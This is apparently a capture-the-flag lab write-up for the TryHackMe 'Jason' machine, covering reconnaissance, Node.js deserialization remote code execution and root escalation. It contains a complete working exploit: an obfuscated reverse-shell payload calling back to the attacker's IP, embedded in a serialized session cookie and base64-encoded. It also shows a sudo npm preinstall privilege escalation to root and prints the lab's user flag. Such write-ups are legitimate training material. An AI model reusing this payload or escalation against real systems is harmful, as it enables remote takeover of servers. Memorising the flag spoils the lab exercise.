Jason (Node.js Deserialization, npm)

First, we need to enumerate using nmap.

╭─hnl@hnl ~/Desktop/ctf/tryhackme/jason  
╰─➤  nmap -A 10.10.101.131 | tee nmap.log
Starting Nmap 7.80 ( https://nmap.org ) at 2022-04-28 09:08 +0630
Nmap scan report for 10.10.101.131
Host is up (0.28s latency).
Not shown: 987 closed ports
PORT     STATE    SERVICE        VERSION
22/tcp   open     ssh            OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
80/tcp   open     http
| fingerprint-strings: 
|   GetRequest: 
|     HTTP/1.1 200 OK
|     Content-Type: text/html
|     Date: Thu, 28 Apr 2022 02:38:45 GMT
|     Connection: close
|     <html><head>
|     <title>Horror LLC</title>
|     <style>
|     body {
|     background: linear-gradient(253deg, #4a040d, #3b0b54, #3a343b);
|     background-size: 300% 300%;
|     -webkit-animation: Background 10s ease infinite;
|     -moz-animation: Background 10s ease infinite;
|     animation: Background 10s ease infinite;
|     @-webkit-keyframes Background {
|     background-position: 0% 50%
|     background-position: 100% 50%
|     100% {
|     background-position: 0% 50%
|     @-moz-keyframes Background {
|     background-position: 0% 50%
|     background-position: 100% 50%
|     100% {
|     background-position: 0% 50%
|     @keyframes Background {
|     background-position: 0% 50%
|     background-posi
|   HTTPOptions: 
|     HTTP/1.1 200 OK
|     Content-Type: text/html
|     Date: Thu, 28 Apr 2022 02:38:46 GMT
|     Connection: close
|     <html><head>
|     <title>Horror LLC</title>
|     <style>
|     body {
|     background: linear-gradient(253deg, #4a040d, #3b0b54, #3a343b);
|     background-size: 300% 300%;
|     -webkit-animation: Background 10s ease infinite;
|     -moz-animation: Background 10s ease infinite;
|     animation: Background 10s ease infinite;
|     @-webkit-keyframes Background {
|     background-position: 0% 50%
|     background-position: 100% 50%
|     100% {
|     background-position: 0% 50%
|     @-moz-keyframes Background {
|     background-position: 0% 50%
|     background-position: 100% 50%
|     100% {
|     background-position: 0% 50%
|     @keyframes Background {
|     background-position: 0% 50%
|_    background-posi
|_http-title: Horror LLC
912/tcp  filtered apex-mesh
1039/tcp filtered sbl
2170/tcp filtered eyetv
2393/tcp filtered ms-olap1
2607/tcp filtered connection
3390/tcp filtered dsc
4125/tcp filtered rww
5298/tcp filtered presence
7443/tcp filtered oracleas-https
7938/tcp filtered lgtomapper
9594/tcp filtered msgsys

Port 80

When you browse to http://10.10.101.131/, you will see nodejs webpage.

Insert mail to Email Address field, but no response. Let's use burp to intercept the data. You can see session cookie on response when i request with an email.

Let's decode the cookie value.

╭─hnl@hnl ~/Desktop/ctf/tryhackme/jason  
╰─➤  echo 'eyJlbWFpbCI6ImFhQGdtYWlsLmNvbSJ9' | base64 -d
{"email":"aa@gmail.com"}

This Vulnerability come with Node.js deserialization (CVE-2017-5941). Here is Poc https://opsecx.com/index.php/2017/02/08/exploiting-node-js-deserialization-bug-for-remote-code-execution/. Generate rce using https://github.com/ajinabraham/Node.Js-Security-Course/blob/master/nodejsshell.py.

╭─hnl@hnl ~/Desktop/ctf/tryhackme/jason  
╰─➤  python nodejsshell.py 10.9.0.82 9001
[+] LHOST = 10.9.0.82
[+] LPORT = 9001
[+] Encoding
eval(String.fromCharCode(10,118,97,114,32,110,101,116,32,61,32,114,101,113,117,105,114,101,40,39,110,101,116,39,41,59,10,118,97,114,32,115,112,97,119,110,32,61,32,114,101,113,117,105,114,101,40,39,99,104,105,108,100,95,112,114,111,99,101,115,115,39,41,46,115,112,97,119,110,59,10,72,79,83,84,61,34,49,48,46,57,46,48,46,56,50,34,59,10,80,79,82,84,61,34,57,48,48,49,34,59,10,84,73,77,69,79,85,84,61,34,53,48,48,48,34,59,10,105,102,32,40,116,121,112,101,111,102,32,83,116,114,105,110,103,46,112,114,111,116,111,116,121,112,101,46,99,111,110,116,97,105,110,115,32,61,61,61,32,39,117,110,100,101,102,105,110,101,100,39,41,32,123,32,83,116,114,105,110,103,46,112,114,111,116,111,116,121,112,101,46,99,111,110,116,97,105,110,115,32,61,32,102,117,110,99,116,105,111,110,40,105,116,41,32,123,32,114,101,116,117,114,110,32,116,104,105,115,46,105,110,100,101,120,79,102,40,105,116,41,32,33,61,32,45,49,59,32,125,59,32,125,10,102,117,110,99,116,105,111,110,32,99,40,72,79,83,84,44,80,79,82,84,41,32,123,10,32,32,32,32,118,97,114,32,99,108,105,101,110,116,32,61,32,110,101,119,32,110,101,116,46,83,111,99,107,101,116,40,41,59,10,32,32,32,32,99,108,105,101,110,116,46,99,111,110,110,101,99,116,40,80,79,82,84,44,32,72,79,83,84,44,32,102,117,110,99,116,105,111,110,40,41,32,123,10,32,32,32,32,32,32,32,32,118,97,114,32,115,104,32,61,32,115,112,97,119,110,40,39,47,98,105,110,47,115,104,39,44,91,93,41,59,10,32,32,32,32,32,32,32,32,99,108,105,101,110,116,46,119,114,105,116,101,40,34,67,111,110,110,101,99,116,101,100,33,92,110,34,41,59,10,32,32,32,32,32,32,32,32,99,108,105,101,110,116,46,112,105,112,101,40,115,104,46,115,116,100,105,110,41,59,10,32,32,32,32,32,32,32,32,115,104,46,115,116,100,111,117,116,46,112,105,112,101,40,99,108,105,101,110,116,41,59,10,32,32,32,32,32,32,32,32,115,104,46,115,116,100,101,114,114,46,112,105,112,101,40,99,108,105,101,110,116,41,59,10,32,32,32,32,32,32,32,32,115,104,46,111,110,40,39,101,120,105,116,39,44,102,117,110,99,116,105,111,110,40,99,111,100,101,44,115,105,103,110,97,108,41,123,10,32,32,32,32,32,32,32,32,32,32,99,108,105,101,110,116,46,101,110,100,40,34,68,105,115,99,111,110,110,101,99,116,101,100,33,92,110,34,41,59,10,32,32,32,32,32,32,32,32,125,41,59,10,32,32,32,32,125,41,59,10,32,32,32,32,99,108,105,101,110,116,46,111,110,40,39,101,114,114,111,114,39,44,32,102,117,110,99,116,105,111,110,40,101,41,32,123,10,32,32,32,32,32,32,32,32,115,101,116,84,105,109,101,111,117,116,40,99,40,72,79,83,84,44,80,79,82,84,41,44,32,84,73,77,69,79,85,84,41,59,10,32,32,32,32,125,41,59,10,125,10,99,40,72,79,83,84,44,80,79,82,84,41,59,10))

Here is the complete exploit.

{"rce":"_$$ND_FUNC$$_function (){ eval(String.fromCharCode(10,118,97,114,32,110,101,116,32,61,32,114,101,113,117,105,114,101,40,39,110,101,116,39,41,59,10,118,97,114,32,115,112,97,119,110,32,61,32,114,101,113,117,105,114,101,40,39,99,104,105,108,100,95,112,114,111,99,101,115,115,39,41,46,115,112,97,119,110,59,10,72,79,83,84,61,34,49,48,46,57,46,48,46,56,50,34,59,10,80,79,82,84,61,34,57,48,48,49,34,59,10,84,73,77,69,79,85,84,61,34,53,48,48,48,34,59,10,105,102,32,40,116,121,112,101,111,102,32,83,116,114,105,110,103,46,112,114,111,116,111,116,121,112,101,46,99,111,110,116,97,105,110,115,32,61,61,61,32,39,117,110,100,101,102,105,110,101,100,39,41,32,123,32,83,116,114,105,110,103,46,112,114,111,116,111,116,121,112,101,46,99,111,110,116,97,105,110,115,32,61,32,102,117,110,99,116,105,111,110,40,105,116,41,32,123,32,114,101,116,117,114,110,32,116,104,105,115,46,105,110,100,101,120,79,102,40,105,116,41,32,33,61,32,45,49,59,32,125,59,32,125,10,102,117,110,99,116,105,111,110,32,99,40,72,79,83,84,44,80,79,82,84,41,32,123,10,32,32,32,32,118,97,114,32,99,108,105,101,110,116,32,61,32,110,101,119,32,110,101,116,46,83,111,99,107,101,116,40,41,59,10,32,32,32,32,99,108,105,101,110,116,46,99,111,110,110,101,99,116,40,80,79,82,84,44,32,72,79,83,84,44,32,102,117,110,99,116,105,111,110,40,41,32,123,10,32,32,32,32,32,32,32,32,118,97,114,32,115,104,32,61,32,115,112,97,119,110,40,39,47,98,105,110,47,115,104,39,44,91,93,41,59,10,32,32,32,32,32,32,32,32,99,108,105,101,110,116,46,119,114,105,116,101,40,34,67,111,110,110,101,99,116,101,100,33,92,110,34,41,59,10,32,32,32,32,32,32,32,32,99,108,105,101,110,116,46,112,105,112,101,40,115,104,46,115,116,100,105,110,41,59,10,32,32,32,32,32,32,32,32,115,104,46,115,116,100,111,117,116,46,112,105,112,101,40,99,108,105,101,110,116,41,59,10,32,32,32,32,32,32,32,32,115,104,46,115,116,100,101,114,114,46,112,105,112,101,40,99,108,105,101,110,116,41,59,10,32,32,32,32,32,32,32,32,115,104,46,111,110,40,39,101,120,105,116,39,44,102,117,110,99,116,105,111,110,40,99,111,100,101,44,115,105,103,110,97,108,41,123,10,32,32,32,32,32,32,32,32,32,32,99,108,105,101,110,116,46,101,110,100,40,34,68,105,115,99,111,110,110,101,99,116,101,100,33,92,110,34,41,59,10,32,32,32,32,32,32,32,32,125,41,59,10,32,32,32,32,125,41,59,10,32,32,32,32,99,108,105,101,110,116,46,111,110,40,39,101,114,114,111,114,39,44,32,102,117,110,99,116,105,111,110,40,101,41,32,123,10,32,32,32,32,32,32,32,32,115,101,116,84,105,109,101,111,117,116,40,99,40,72,79,83,84,44,80,79,82,84,41,44,32,84,73,77,69,79,85,84,41,59,10,32,32,32,32,125,41,59,10,125,10,99,40,72,79,83,84,44,80,79,82,84,41,59,10))}()"}

Encode it to base64.

eyJyY2UiOiJfJCRORF9GVU5DJCRfZnVuY3Rpb24gKCl7IGV2YWwoU3RyaW5nLmZyb21DaGFyQ29kZSgxMCwxMTgsOTcsMTE0LDMyLDExMCwxMDEsMTE2LDMyLDYxLDMyLDExNCwxMDEsMTEzLDExNywxMDUsMTE0LDEwMSw0MCwzOSwxMTAsMTAxLDExNiwzOSw0MSw1OSwxMCwxMTgsOTcsMTE0LDMyLDExNSwxMTIsOTcsMTE5LDExMCwzMiw2MSwzMiwxMTQsMTAxLDExMywxMTcsMTA1LDExNCwxMDEsNDAsMzksOTksMTA0LDEwNSwxMDgsMTAwLDk1LDExMiwxMTQsMTExLDk5LDEwMSwxMTUsMTE1LDM5LDQxLDQ2LDExNSwxMTIsOTcsMTE5LDExMCw1OSwxMCw3Miw3OSw4Myw4NCw2MSwzNCw0OSw0OCw0Niw1Nyw0Niw0OCw0Niw1Niw1MCwzNCw1OSwxMCw4MCw3OSw4Miw4NCw2MSwzNCw1Nyw0OCw0OCw0OSwzNCw1OSwxMCw4NCw3Myw3Nyw2OSw3OSw4NSw4NCw2MSwzNCw1Myw0OCw0OCw0OCwzNCw1OSwxMCwxMDUsMTAyLDMyLDQwLDExNiwxMjEsMTEyLDEwMSwxMTEsMTAyLDMyLDgzLDExNiwxMTQsMTA1LDExMCwxMDMsNDYsMTEyLDExNCwxMTEsMTE2LDExMSwxMTYsMTIxLDExMiwxMDEsNDYsOTksMTExLDExMCwxMTYsOTcsMTA1LDExMCwxMTUsMzIsNjEsNjEsNjEsMzIsMzksMTE3LDExMCwxMDAsMTAxLDEwMiwxMDUsMTEwLDEwMSwxMDAsMzksNDEsMzIsMTIzLDMyLDgzLDExNiwxMTQsMTA1LDExMCwxMDMsNDYsMTEyLDExNCwxMTEsMTE2LDExMSwxMTYsMTIxLDExMiwxMDEsNDYsOTksMTExLDExMCwxMTYsOTcsMTA1LDExMCwxMTUsMzIsNjEsMzIsMTAyLDExNywxMTAsOTksMTE2LDEwNSwxMTEsMTEwLDQwLDEwNSwxMTYsNDEsMzIsMTIzLDMyLDExNCwxMDEsMTE2LDExNywxMTQsMTEwLDMyLDExNiwxMDQsMTA1LDExNSw0NiwxMDUsMTEwLDEwMCwxMDEsMTIwLDc5LDEwMiw0MCwxMDUsMTE2LDQxLDMyLDMzLDYxLDMyLDQ1LDQ5LDU5LDMyLDEyNSw1OSwzMiwxMjUsMTAsMTAyLDExNywxMTAsOTksMTE2LDEwNSwxMTEsMTEwLDMyLDk5LDQwLDcyLDc5LDgzLDg0LDQ0LDgwLDc5LDgyLDg0LDQxLDMyLDEyMywxMCwzMiwzMiwzMiwzMiwxMTgsOTcsMTE0LDMyLDk5LDEwOCwxMDUsMTAxLDExMCwxMTYsMzIsNjEsMzIsMTEwLDEwMSwxMTksMzIsMTEwLDEwMSwxMTYsNDYsODMsMTExLDk5LDEwNywxMDEsMTE2LDQwLDQxLDU5LDEwLDMyLDMyLDMyLDMyLDk5LDEwOCwxMDUsMTAxLDExMCwxMTYsNDYsOTksMTExLDExMCwxMTAsMTAxLDk5LDExNiw0MCw4MCw3OSw4Miw4NCw0NCwzMiw3Miw3OSw4Myw4NCw0NCwzMiwxMDIsMTE3LDExMCw5OSwxMTYsMTA1LDExMSwxMTAsNDAsNDEsMzIsMTIzLDEwLDMyLDMyLDMyLDMyLDMyLDMyLDMyLDMyLDExOCw5NywxMTQsMzIsMTE1LDEwNCwzMiw2MSwzMiwxMTUsMTEyLDk3LDExOSwxMTAsNDAsMzksNDcsOTgsMTA1LDExMCw0NywxMTUsMTA0LDM5LDQ0LDkxLDkzLDQxLDU5LDEwLDMyLDMyLDMyLDMyLDMyLDMyLDMyLDMyLDk5LDEwOCwxMDUsMTAxLDExMCwxMTYsNDYsMTE5LDExNCwxMDUsMTE2LDEwMSw0MCwzNCw2NywxMTEsMTEwLDExMCwxMDEsOTksMTE2LDEwMSwxMDAsMzMsOTIsMTEwLDM0LDQxLDU5LDEwLDMyLDMyLDMyLDMyLDMyLDMyLDMyLDMyLDk5LDEwOCwxMDUsMTAxLDExMCwxMTYsNDYsMTEyLDEwNSwxMTIsMTAxLDQwLDExNSwxMDQsNDYsMTE1LDExNiwxMDAsMTA1LDExMCw0MSw1OSwxMCwzMiwzMiwzMiwzMiwzMiwzMiwzMiwzMiwxMTUsMTA0LDQ2LDExNSwxMTYsMTAwLDExMSwxMTcsMTE2LDQ2LDExMiwxMDUsMTEyLDEwMSw0MCw5OSwxMDgsMTA1LDEwMSwxMTAsMTE2LDQxLDU5LDEwLDMyLDMyLDMyLDMyLDMyLDMyLDMyLDMyLDExNSwxMDQsNDYsMTE1LDExNiwxMDAsMTAxLDExNCwxMTQsNDYsMTEyLDEwNSwxMTIsMTAxLDQwLDk5LDEwOCwxMDUsMTAxLDExMCwxMTYsNDEsNTksMTAsMzIsMzIsMzIsMzIsMzIsMzIsMzIsMzIsMTE1LDEwNCw0NiwxMTEsMTEwLDQwLDM5LDEwMSwxMjAsMTA1LDExNiwzOSw0NCwxMDIsMTE3LDExMCw5OSwxMTYsMTA1LDExMSwxMTAsNDAsOTksMTExLDEwMCwxMDEsNDQsMTE1LDEwNSwxMDMsMTEwLDk3LDEwOCw0MSwxMjMsMTAsMzIsMzIsMzIsMzIsMzIsMzIsMzIsMzIsMzIsMzIsOTksMTA4LDEwNSwxMDEsMTEwLDExNiw0NiwxMDEsMTEwLDEwMCw0MCwzNCw2OCwxMDUsMTE1LDk5LDExMSwxMTAsMTEwLDEwMSw5OSwxMTYsMTAxLDEwMCwzMyw5MiwxMTAsMzQsNDEsNTksMTAsMzIsMzIsMzIsMzIsMzIsMzIsMzIsMzIsMTI1LDQxLDU5LDEwLDMyLDMyLDMyLDMyLDEyNSw0MSw1OSwxMCwzMiwzMiwzMiwzMiw5OSwxMDgsMTA1LDEwMSwxMTAsMTE2LDQ2LDExMSwxMTAsNDAsMzksMTAxLDExNCwxMTQsMTExLDExNCwzOSw0NCwzMiwxMDIsMTE3LDExMCw5OSwxMTYsMTA1LDExMSwxMTAsNDAsMTAxLDQxLDMyLDEyMywxMCwzMiwzMiwzMiwzMiwzMiwzMiwzMiwzMiwxMTUsMTAxLDExNiw4NCwxMDUsMTA5LDEwMSwxMTEsMTE3LDExNiw0MCw5OSw0MCw3Miw3OSw4Myw4NCw0NCw4MCw3OSw4Miw4NCw0MSw0NCwzMiw4NCw3Myw3Nyw2OSw3OSw4NSw4NCw0MSw1OSwxMCwzMiwzMiwzMiwzMiwxMjUsNDEsNTksMTAsMTI1LDEwLDk5LDQwLDcyLDc5LDgzLDg0LDQ0LDgwLDc5LDgyLDg0LDQxLDU5LDEwKSl9KCkifQ==

And request using this cookie vaule.

GET / HTTP/1.1
Host: 10.10.101.131
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:99.0) Gecko/20100101 Firefox/99.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
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Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0

In netcat session, we got a reverse shell.

User

Spawning a TTY Shell

/usr/bin/python3 -c 'import pty; pty.spawn("/bin/sh")'

Read the user flag.

$ cd /home/dylan
cd /home/dylan
$ ls -al
ls -al
total 40
drwxr-xr-x 5 dylan dylan 4096 Jun 10  2021 .
drwxr-xr-x 3 root  root  4096 Jun 10  2021 ..
lrwxrwxrwx 1 dylan dylan    9 Jun 10  2021 .bash_history -> /dev/null
-rw-r--r-- 1 dylan dylan  220 Feb 25  2020 .bash_logout
-rw-r--r-- 1 dylan dylan 3771 Feb 25  2020 .bashrc
drwx------ 2 dylan dylan 4096 Jun 10  2021 .cache
drwx------ 3 dylan dylan 4096 Jun 10  2021 .config
drwxrwxr-x 3 dylan dylan 4096 Jun 10  2021 .local
-rw-r--r-- 1 dylan dylan  807 Feb 25  2020 .profile
-rw-rw-r-- 1 dylan dylan   66 Jun 10  2021 .selected_editor
-rw-r--r-- 1 dylan dylan    0 Jun 10  2021 .sudo_as_admin_successful
-rw-r--r-- 1 dylan dylan   33 Jun 10  2021 user.txt
$ cat user.txt
cat user.txt
0ba48780dee9f5677a4461f588af217c

Root

Check privileges. You can run npm command using root privileges.

$ sudo -l
sudo -l
Matching Defaults entries for dylan on jason:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User dylan may run the following commands on jason:
    (ALL) NOPASSWD: /usr/bin/npm *

Here is a ref to privilege escalation https://gtfobins.github.io/gtfobins/npm/.

TF=$(mktemp -d)
echo '{"scripts": {"preinstall": "/bin/sh"}}' > $TF/package.json
sudo /usr/bin/npm -C $TF --unsafe-perm i

Finally, we got root shell.

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Last updated 3 years ago

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